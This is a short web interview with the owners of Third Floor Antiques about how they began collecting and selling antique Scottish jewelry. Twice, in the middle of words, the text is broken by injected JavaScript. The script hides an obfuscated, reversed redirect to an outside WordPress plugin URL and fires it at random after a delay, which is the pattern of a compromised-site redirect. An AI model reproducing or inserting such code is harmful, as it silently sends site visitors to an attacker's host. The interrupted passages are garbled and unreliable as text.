Interview with Third Floor Antiques

Antiques Diva:
Tell me about Third Floor Antiques. How did you get involved in specializing in this particular period of jewelry?

Third Floor Antiques:
My husband and I have been selling antiques for over 25 years. We became involved with Scottish jewelry while shopping an antiques market in London about 23 years ago. I saw a unique brooch with colored stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones set in silver.

This was a great deal of money in those years, especially for silver! I thanked the dealer and left. Later in the day while resting in the hotel, my husband returned and purchased the brooch as a surprise for me. So began our mutual appreciation and passion for antique Scottish jewelry. Like many others, our love of collecting became a business. While my husband is a practicing Medical Oncologist, he still has been able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to travel with me and assists me at exhibitions.

Third Floor Antiques:
I love its distinctive designs and naturalistic elements. I appreciate the intricate work fashioned out of materials that have little or no intrinsic value. My husband loves the more artistic pieces and I adore the very traditional designs.
